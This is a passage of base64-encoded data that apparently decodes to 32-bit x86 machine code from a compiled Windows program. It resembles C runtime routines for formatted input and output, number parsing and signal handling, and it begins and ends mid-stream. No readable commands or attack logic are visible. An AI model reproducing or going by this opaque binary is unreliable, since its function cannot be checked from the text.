Q6CInAACDxBCD+CIPhHMEAACLhRD9//+FwA+OTfz//wPYKYXw/P//iZ34/P//6Tr8//+DxgLpMvz///+1IP3///+NOP3//1Lo3vL//1lZO/MPhGEEAACAvS/9//8AD4VRAwAA/4Xs/P//g/9jD4RCAwAAgL0f/f//AHQQi434/P//M8BmiQHpKQMAAIuF+Pz//8YAAOkbAwAAxoUn/f//AYudMP3//2otWGY7w3UJxoUd/f//AesIaitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///osFMAAFkPt9iJnTD9//+DvRD9//8AD4RiAQAAgL0//f//AA+FJAEAAIP/eHR4g/9wdHP3wwD/AAAPhfoAAAAPtsNQ6DpSAABZhcAPhOgAAACD/291LWo4WGY7ww+G1wAAAIuFBP3//4uNCP3//w+kwQPB4AOJhQT9//+JjQj9///rbGoAagr/tQj9////tQT9///owlkAAImFBP3//4mVCP3//+tJ98MA/wAAD4WHAAAAD7bDUOhLUgAAWYXAdHmLhQT9//+LjQj9//8PpMEEweAEU4mFBP3//4mNCP3//+gv8f//D7fYWYmdMP3///+FFP3//w+3w4PoMJkBhQT9//8RlQj9//+DvfT8//8AdAj/jSj9//90NP+1IP3///+FOP3//+iLUgAAD7fYWYmdMP3//+nw/v///7Ug/f///404/f//U+j/8P//WVmAvR39//8AD4QaAQAAi4UE/f//i40I/f//99iD0QD32YmFBP3//4mNCP3//+n2AAAAgL0//f//AA+F2gAAAIP/eHRKg/9wdEX3wwD/AAAPhbAAAAAPtsNQ6NhQAABZhcAPhJ4AAACD/291F2o4WGY7ww+GjQAAAIuFDP3//8HgA+s+i4UM/f//a8AK6zP3wwD/AAB1bw+2w1DoG1EAAFmFwHRhwaUM/f//BFPoF/D//w+32IuFDP3//1mJnTD9////hRT9//+DvfT8//8AD7fLjUQI0ImFDP3//3QI/40o/f//dDT/tSD9////hTj9///oc1EAAA+32FmJnTD9///pOv////+1IP3///+NOP3//1Po5+///1lZgL0d/f//AHQG950M/f//g/9GdQeDpRT9//8Ag70U/f//AA+ESgEAAIC9L/3//wB1Pv+F7Pz//4ud+Pz//4uFDP3//4O9EP3//wB0E4uFBP3//4kDi4UI/f//iUME6xCAvSf9//8AdASJA+sDZokDi7X8/P///oUe/f//g8YCibX8/P//6z5mO8h1CWY7TgJ1A4PGAv+1IP3///+FOP3//+irUAAAD7fAWWaLDoPGAomFMP3//4m1/Pz//2Y7yA+FmwAAALj//wAAZjuFMP3//3UdZoM+JQ+FlgAAAIuF/Pz//2aDeAJuD4WFAAAAi/APtwZmhcAPherv///rdYC9N/3//wB+BzPAZokD6wPGAwDocJ///8cADAAAAOtVVlZWVlboY6X///+1IP3//1Dosu7//8eFzPz//wEAAADrMehBn///gL0f/f//AMcADAAAAHQHM8BmiQbrGMYGAOsT/7Ug/f///7Uw/f//6HXu//9ZWYO90Pz//wFbdQz/tdz8///oH4H//1mDveD8//8BdQz/tRj9///oCoH//1m4//8AAGY7hTD9//91KouF7Pz//4XAdQs4hR79//91A4PI/4C9yPz//wB0PouNxPz//4NhcP3rMoO9zPz//wF1EOiinv//xwAWAAAA6O6k//+Avcj8//8AdAqLhcT8//+DYHD9i4Xs/P//i038XzPNXujoe///ycOL/1WL7GaLRQhmg/gwD4KIAQAAZoP4OnMID7fAg+gwXcO5EP8AAGY7wQ+DXgEAALlgBgAAZjvBD4JeAQAAjVEKZjvCcwcPt8ArwV3DufAGAABmO8EPgkEBAACNUQpmO8Jy47lmCQAAZjvBD4IrAQAAjVEKZjvCcs2NSnZmO8EPghcBAACNUQpmO8JyuY1KdmY7wQ+CAwEAAI1RCmY7wnKljUp2ZjvBD4LvAAAAjVEKZjvCcpGNSnZmO8EPgtsAAACNUQpmO8IPgnn///+5ZgwAAGY7wQ+CwQAAAI1RCmY7wg+CX////41KdmY7wQ+CqQAAAI1RCmY7wg+CR////41KdmY7wQ+CkQAAAI1RCmY7wg+CL////7lQDgAAZjvBcnuNUQpmO8IPghn///+NSnZmO8FyZ41RCmY7wg+CBf///4PBUGY7wXJTg8JQZjvCD4Lx/v//uUAQAABmO8FyPY1RCmY7wg+C2/7//7ngFwAAZjvBcieNUQpmO8IPgsX+//+DwTBmO8FyE4PCMOsFuhr/AABmO8IPgqr+//+DyP9dw4v/VYvsUbj//wAAZjlFCHUEM8DJw7gAAQAAZjlFCHMQD7dFCIsN4N0EEA+3BEHrHY1F/FBqAY1FCFBqAf8VRNICEIXAdQMhRfwPt0X8D7dNDCPBycOL/1WL7IsGOUUIdUaLD2oCUDtNDHUr6GrR//9ZWYkHhcB1BDPAXcOLRRDHAAEAAAD/Nv91DP836M82AACDxAzrD1Ho2NH//4PEDIXAdNWJB9EmM8BAXcOL/1WL7A+2RQhQ6K1LAACFwA++RQhZdQaD4N+D6Addw/9KBHgJiwoPtgFBiQrDUuiUUwAAWcOL/1WL7FOLVQj/Buja////i9iD+/90Dg+2w1Doa0wAAFmFwHXhi8NbXcOL/1WL7IHsBAIAAKH40gQQM8WJRfyLTRSLRQhWi3UMVzP/iY0c/v//jY18/v//iYVg/v//ibVQ/v//iY1Y/v//x4Uo/v//XgEAAIm9MP7//4m9EP7//4m9bP7//4m9DP7//zv3dRjoWZv//8cAFgAAAOilof//g8j/6ZcQAAA7x3Tk9kAMQFN1clDo/If//1m68NsEEIP4/3Qbg/j+dBaLyIPhH4vYwfsFweEGAwydgAYFEOsCi8r2QSR/dSaD+P90GYP4/nQUi8iD4B/B+QXB4AYDBI2ABgUQ6wKLwvZAJIB0GOjcmv//xwAWAAAA6Cih//+DyP/pGRAAAP91EI2N/P3//+hQfv//igbGhV7+//8Aib10/v//ib04/v//hMAPhNUPAAAPtsBQ6DJLAABZhcB0S/+1YP7///+NdP7//421dP7//+iL/v//WYP4/3QO/7Vg/v//UOgtUwAAWVmLtVD+//9GD7YGUOjySgAAWYXAdfGJtVD+///pcA4AAIu1UP7//4oGPCUPhdoNAAA4RgEPhMcNAAAz/4m9PP7//8aFL/7//wCJvVT+//+JvUD+//+JvWT+//+JvTT+///GhV3+//8AxoVc/v//AMaFav7//wDGhXP+//8AxoVf/v//AMaFa/7//wDGhXv+//8Bib0k/v//Rg+2Hg+2w1DoWUkAAFmFwHQei4Vk/v///4VA/v//a8AKjUQY0ImFZP7//+nFAAAAg/tOD4+DAAAAD4S2AAAAg/sqdHCD+0YPhKgAAACD+0l0EIP7THV0/oV7/v//6ZMAAACKTgGA+TZ1Ho1GAoA4NHUW/4Uk/v//i/CJvUj+//+JvUz+///rbYD5M3UMjUYCgDgydQSL8OtcgPlkdFeA+Wl0UoD5b3RNgPl4dEiA+Vh1GetB/oVq/v//6zmD+2h0KIP7bHQNg/t3dBb+hXP+///rIo1GAYA4bHSX/oV7/v///oVr/v//6wz+jXv+///+jWv+//+AvXP+//8AD4T+/v//gL1q/v//AIm1UP7//3UZi4Uc/v//ixiJhRT+//+DwASJhRz+///rAjPbgL1r/v//AImdRP7//8aFc/7//wB1GIoGPFN0C8aFa/7///88Q3UHxoVr/v//AQ+2PoPPIIm9GP7//4P/bnRQg/9jdBmD/3t0FP+1YP7//421dP7//+ha/P//WesRi5Vg/v///4V0/v//6DD8//+JhWz+//+D+P8PhPsMAACLnUT+//+LtVD+//+LvRj+//+LjUD+//+FyXQNg71k/v//AA+ENgwAAIC9av7//wB1QYP/Y3QKg/9zdAWD/3t1MouFFP7//4sYg8AEiYUU/v//g8AEiYUc/v//i0D8iZ1E/v//iYU0/v//g/gBD4L1CwAAg/9vD4+XBQAAD4RVCAAAg/9jD4QQBAAAg/9kD4RDCAAAD46jBQAAg/9nfkSD/2l0IYP/bg+FkAUAAIC9av7//wCLhXT+//8PhL8KAADp5goAAGpkX4udbP7//4P7LQ+FkwYAAMaFXP7//wHpjAYAADPbg71s/v//LXUMi4VY/v//xgAtQ+sJg71s/v//K3Ud/41k/v//i5Vg/v///4V0/v//6Af7//+JhWz+//+DvUD+//8AdQeDjWT+////D7aFbP7//+tri4Vk/v///41k/v//hcB0ZoqFbP7//4uNWP7///+FVP7//4gEC42FMP7//1CNhXz+//9QQ1ONvVj+//+NtSj+///oK/r//4PEDIXAD4RxCwAAi5Vg/v///4V0/v//6Ib6//+JhWz+//8PtsBQ6BNGAABZhcB1iouF/P3//4uAvAAAAIsAigCIhV3+//86hWz+//8PheUAAACLhWT+////jWT+//+FwA+E0QAAAIuVYP7///+FdP7//+gr+v//i41Y/v//iYVs/v//ioVd/v//iAQLjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+h++f//g8QMhcAPhMQKAAAPtoVs/v//62uLhWT+////jWT+//+FwHRmi4VY/v//io1s/v///4VU/v//iAwDjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+gk+f//g8QMhcAPhGoKAACLlWD+////hXT+///of/n//4mFbP7//w+2wFDoDEUAAFmFwHWKg71U/v//AA+EXwEAAIO9bP7//2V0DYO9bP7//0UPhUkBAACLhWT+////jWT+//+FwA+ENQEAAIuFWP7//8YEA2WNhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6JL4//+DxAyFwA+E2AkAAIuVYP7///+FdP7//+jt+P//iYVs/v//g/gtdSyLhVj+///GBAMtjYUw/v//UI2FfP7//1BDU+hM+P//g8QMhcAPhJIJAADrCYO9bP7//yt1L4uFZP7///+NZP7//4XAdQghhWT+///rF4uVYP7///+FdP7//+iE+P//iYVs/v//D7aFbP7//+tri4Vk/v///41k/v//hcB0ZouFWP7//4qNbP7///+FVP7//4gMA42FMP7//1CNhXz+//9QQ1ONvVj+//+NtSj+///ouPf//4PEDIXAD4T+CAAAi5Vg/v///4V0/v//6BP4//+JhWz+//8PtsBQ6KBDAABZhcB1iv+NdP7//4O9bP7///90E/+1YP7///+1bP7//+ipTAAAWVmDvVT+//8AD4SqCAAAgL1q/v//AA+FTQcAAIuFWP7///+FOP7//42N/P3//1FQ/7VE/v//xgQDAA++hXv+//9IUP81bN0EEP8VxNICEP/Qg8QQ6RAHAACFyXUQ/4Vk/v//x4VA/v//AQAAAIC9a/7//wB+B8aFX/7//wH/jXT+//+DvWz+////i/N0E/+1YP7///+1bP7//+gKTAAAWVmD/2N0Bv+NNP7//4O9QP7//wB0FIuFZP7///+NZP7//4XAD4R2AwAAi5Vg/v///4V0/v//6AX3//+JhWz+//+D+P8PhD0DAACD/2N0TIP/c3UTg/gJfAmD+A0PjiUDAACD+CB1NIP/ew+FFwMAAA++vV3+//8z0ovIg+EHQtPii8jB+QMPvkwN3DPPhdEPhPICAACLvRj+//+AvWr+//8AD4XZAgAAg700/v//AA+EGgcAAIC9X/7//wAPhLECAACIhSD+//8PtsBQ6CUWAABZhcB0F4uVYP7///+FdP7//+hZ9v//iIUh/v//jYX8/f//UIuF/P3//8eFEP7//z8AAAD/sKwAAACNhSD+//9QjYUQ/v//UOjuMQAAZouFEP7//4PEEGaJA4PDAulEAgAAi8eD6HAPhLICAACD6AMPhIj+//9ISA+EqAIAAIPoAw+EkPr//4PoA3QzD7YGO4Vs/v//D4U8BgAA/o1e/v//gL1q/v//AA+FTAUAAIuFFP7//4mFHP7//+k7BQAAgL1r/v//AH4HxoVf/v//AUaAPl51CEbGhV3+////aiCNRdxqAFDo+hUAAIPEDIA+XXUMsl1GxkXnIOmSAAAAipUv/v//6YcAAABGPC11a4TSdGeKDoD5XXRgRjrRcwiIjXv+///rCIiVe/7//4rROpV7/v//cyaKhXv+//8qwg+2+g+20IvPg+EHi8ezAdLjwegDjUQF3AgYR0p16A+2jXv+//+LwYPhB7IB0uLB6AONRAXcCBAy0usXD7bIitCLwYPhB7MBwegD0uONRAXcCBiKBjxdD4Vv////hMAPhKgFAACLnUT+//+LvRj+//+JtVD+///pVf3//4P7K3Uu/41k/v//dQ2FyXQJxoVz/v//AesZi5Vg/v///4V0/v//6Iz0//+L2ImdbP7//4P7MA+FeAEAAIuVYP7///+FdP7//+hq9P//i9iJnWz+//+A+3h0UID7WHRLx4VU/v//AQAAAIP/eHQbg71A/v//AHQO/41k/v//dQb+hXP+//9qb+tb/410/v//g/v/dA7/tWD+//9T6OFIAABZWWowW+kEAQAAi5Vg/v///4V0/v//6Pzz//+DvUD+//8Ai9iJnWz+//90FoOtZP7//wKDvWT+//8BfQb+hXP+//9qeF/pygAAAIgDQ4mdRP7//+mG/P//RumG/P///410/v//g/j/dA7/tWD+//9Q6GxIAABZWTvzD4RyBAAAgL1q/v//AA+FFQMAAP+FOP7//4O9GP7//2MPhAIDAACAvV/+//8AdBCLjUT+//8zwGaJAenpAgAAi4VE/v//xgAA6dsCAADGhXv+//8Bi51s/v//g/stdQnGhVz+//8B6wWD+yt1Lv+NZP7//3UNhcl0CcaFc/7//wHrGYuVYP7///+FdP7//+gL8///i9iJnWz+//+DvST+//8AD4RGAQAAgL1z/v//AA+FCAEAAIP/eHRpg/9wdGQPtsNQ6HI+AABZhcAPhNMAAACD/291KoP7OA+NxQAAAIuFSP7//4uNTP7//w+kwQPB4AOJhUj+//+JjUz+///rX2oAagr/tUz+////tUj+///o/UUAAImFSP7//4mVTP7//+s8D7bDUOiSPgAAWYXAdHOLhUj+//+LjUz+//8PpMEEweAEU4mFSP7//4mNTP7//+go8v//i9hZiZ1s/v///4VU/v//jUPQmQGFSP7//xGVTP7//4O9QP7//wB0CP+NZP7//3Q3i5Vg/v///4V0/v//6Afy//+L2ImdbP7//+kR/////410/v//g/v/dA7/tWD+//9T6K1GAABZWYC9XP7//wAPhP4AAACLhUj+//+LjUz+///32IPRAPfZiYVI/v//iY1M/v//6doAAACAvXP+//8AD4W+AAAAg/94dDeD/3B0Mg+2w1DoLD0AAFmFwA+EiQAAAIP/b3UQg/s4fX+LhTz+///B4APrNYuFPP7//2vACusqD7bDUOh+PQAAWYXAdFvBpTz+//8EU+gs8f//i9iLhTz+//9ZiZ1s/v///4VU/v//g71A/v//AI1EGNCJhTz+//90CP+NZP7//3Q3i5Vg/v///4V0/v//6Avx//+L2ImdbP7//+lb/////410/v//g/v/dA7/tWD+//9T6LFFAABZWYC9XP7//wB0BvedPP7//4P/RnUHg6VU/v//AIO9VP7//wAPhJcBAACAvWr+//8AdT7/hTj+//+LnUT+//+LhTz+//+DvST+//8AdBOLhUj+//+JA4uFTP7//4lDBOsQgL17/v//AHQEiQPrA2aJA4u1UP7///6FXv7//0aJtVD+///rbDwldQY4RgF1AUaLlWD+////hXT+///oRvD//4vYD7YGRomdbP7//4m1UP7//zvDD4XuAAAAD7bDUOjZDwAAWYXAdCmLlWD+////hXT+///oDfD//w+2DkaJtVD+//87yA+FqgAAAP+NdP7//4O9bP7///91G4A+JQ+FvQAAAIuFUP7//4B4AW4Pha0AAACL8IoGhMAPhS3x///pnAAAAIO9bP7////rfoC9a/7//wB+BzPAZokD6wPGAwDopYv//8cADAAAAOtzg71s/v///3QT/7Vg/v///7Vs/v//6ElEAABZWceFDP7//wEAAADrS+hwi///gL1f/v//AMcADAAAAHQHM8BmiQbrMMYGAOsrg/j/dA7/tWD+//9Q6ApEAABZWYP7/3QT/7Vg/v///7Vs/v//6PJ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LyIPgH8H5BcHgBgMEjYAGBRDrAovC9kAkgA+Fcf///zP2O94PhGf///+KE4m13P3//4m12P3//4m1vP3//4m1oP3//4iV7/3//4TSD4SyCgAAQ4mdwP3//zm13P3//w+MiQoAAI1C4DxYdw8PvsIPtoCo6wIQg+AP6wIzwIuNvP3//2vACQ+2hAjI6wIQagjB6AReiYW8/f//O8YPhO/+//9qB1k7wQ+HIAoAAP8kheR/AhAzwION6P3///+JhYz9//+JhaT9//+Jhcj9//+Jhcz9//+JhfD9//+JhcT9///p5wkAAA++woPoIHRIg+gDdDQrxnQkSEh0FIPoAw+FyQkAAAm18P3//+m+CQAAg43w/f//BOmyCQAAg43w/f//AemmCQAAgY3w/f//gAAAAOmXCQAAg43w/f//AumLCQAAgPoqdSyDxwSJveT9//+Lf/yJvcj9//+F/w+JbAkAAION8P3//wT3ncj9///pWgkAAIuFyP3//2vACg++yo1ECNCJhcj9///pPwkAAIOl6P3//wDpMwkAAID6KnUmg8cEib3k/f//i3/8ib3o/f//hf8PiRQJAACDjej9////6QgJAACLhej9//9rwAoPvsqNRAjQiYXo/f//6e0IAACA+kl0VYD6aHREgPpsdBiA+ncPhdUIAACBjfD9//8ACAAA6cYIAACAO2x1FkOBjfD9//8AEAAAiZ3A/f//6asIAACDjfD9//8Q6Z8IAACDjfD9//8g6ZMIAACKAzw2dR6AewE0dRiDwwKBjfD9//8AgAAAiZ3A/f//6W8IAAA8M3UegHsBMnUYg8MCgaXw/f///3///4mdwP3//+lNCAAAPGQPhEUIAAA8aQ+EPQgAADxvD4Q1CAAAPHUPhC0IAAA8eA+EJQgAADxYD4QdCAAAg6W8/f//AIOlxP3//wCNhaz9//9QD7bCUOhH+v//WYXAioXv/f//WXQii43Q/f//jbXc/f//6Jr7//+KA0OJncD9//+EwA+Elfz//4uN0P3//4213P3//+h4+///6bsHAAAPvsKD+GQPj7cBAAAPhFUCAACD+FMPj7oAAAB0TIPoQXQQSEh0JEhIdAhISA+FqAUAAIDCIMeFjP3//wEAAACIle/9///pUwIAAPeF8P3//zAIAAAPhZ4AAACBjfD9//8ACAAA6Y8AAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PHBPeF8P3//xAIAACJveT9//+Lf/yJveD9//8PhPsEAACF/3ULoXTUBBCJheD9//+LheD9///HhcT9//8BAAAA6ckEAACD6FgPhBwDAABISHR/K8EPhLMBAABISA+F6AQAAIu95P3//4PHBPeF8P3//xAIAACJveT9//90MA+3R/xQaAACAACNhfT9//9QjYXY/f//UOi8+P//g8QQhcB0H8eFpP3//wEAAADrE4pH/IiF9P3//8eF2P3//wEAAACNhfT9//+JheD9///peQQAAIsHg8cEib3k/f//hcB0PItIBIXJdDX3hfD9//8ACAAAD78AiY3g/f//dBSZK8LR+MeFxP3//wEAAADpNAQAAIOlxP3//wDpKAQAAKFw1AQQiYXg/f//UOjscv//WekRBAAAg/hwD482AgAAD4QiAgAAg/hlD4z/AwAAg/hnD46zAAAAg/hpdHiD+G50KoP4bw+F4wMAAPaF8P3//4CLveT9//+Jtdj9//90bIGN8P3//wACAADrYIOF5P3//wSLheT9//+LcPzoTvb//4XAD4RK+v//9oXw/f//IHQMZouF3P3//2aJBusIi4Xc/f//iQbHhaT9//8BAAAA6T4FAACLveT9//+DjfD9//9Ax4XY/f//CgAAAIuN8P3///fBAIAAAA+E3QEAAAP+i0f4i1f86QkCAACLveT9//+DjfD9//9Ag73o/f//AI2d9